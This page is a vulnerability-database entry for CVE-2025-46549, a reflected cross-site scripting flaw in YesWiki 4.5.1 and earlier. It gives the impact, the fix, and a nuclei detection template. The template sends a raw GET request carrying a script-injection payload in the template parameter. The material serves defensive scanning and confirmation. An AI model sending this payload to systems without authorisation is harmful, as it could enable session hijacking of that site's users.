HexBrain

Browse / CVEs / CVE-2025-46549

CVE-2025-46549

YesWiki <= 4.5.1 - Cross-Site Scripting

mediumseverity
0.6%likelihood of exploitation, next 30 days
47%of all CVEs are less likely
Readycheck to confirm it

YesWiki <= 4.5.1 contains a reflected cross-site scripting caused by insufficient sanitization in user input, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.

Impact

Attackers can steal cookies, hijack user sessions, deface websites, or embed malicious content.

Fix

Update to version 4.5.4 or later.

How to confirm it

Send: GET /?BazaR/bazariframe&id=2&template=%3cscript%3ealert(document.domain)%3c%2fscript%3e
Positive when: contains_all(body, "<script>alert(document.domain)</script>","YesWiki") and status_code == 200 and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2025-46549 -u <target>

The full check
id: CVE-2025-46549

info:
  name: YesWiki <= 4.5.1 - Cross-Site Scripting
  author: MuhammadWaseem
  severity: medium
  description: |
    YesWiki <= 4.5.1 contains a reflected cross-site scripting caused by insufficient sanitization in user input, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.
  impact:
    Attackers can steal cookies, hijack user sessions, deface websites, or embed malicious content.
  remediation:
    Update to version 4.5.4 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r9gv-qffm-xw6f
  metadata:
    verified: true
    max-request: 1
    shodan-query: "yeswiki"
  tags: cve,cve2025,yeswiki,xss,vuln

http:
  - raw:
      - |
        GET /?BazaR/bazariframe&id=2&template=%3cscript%3ealert(document.domain)%3c%2fscript%3e HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>","YesWiki")'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from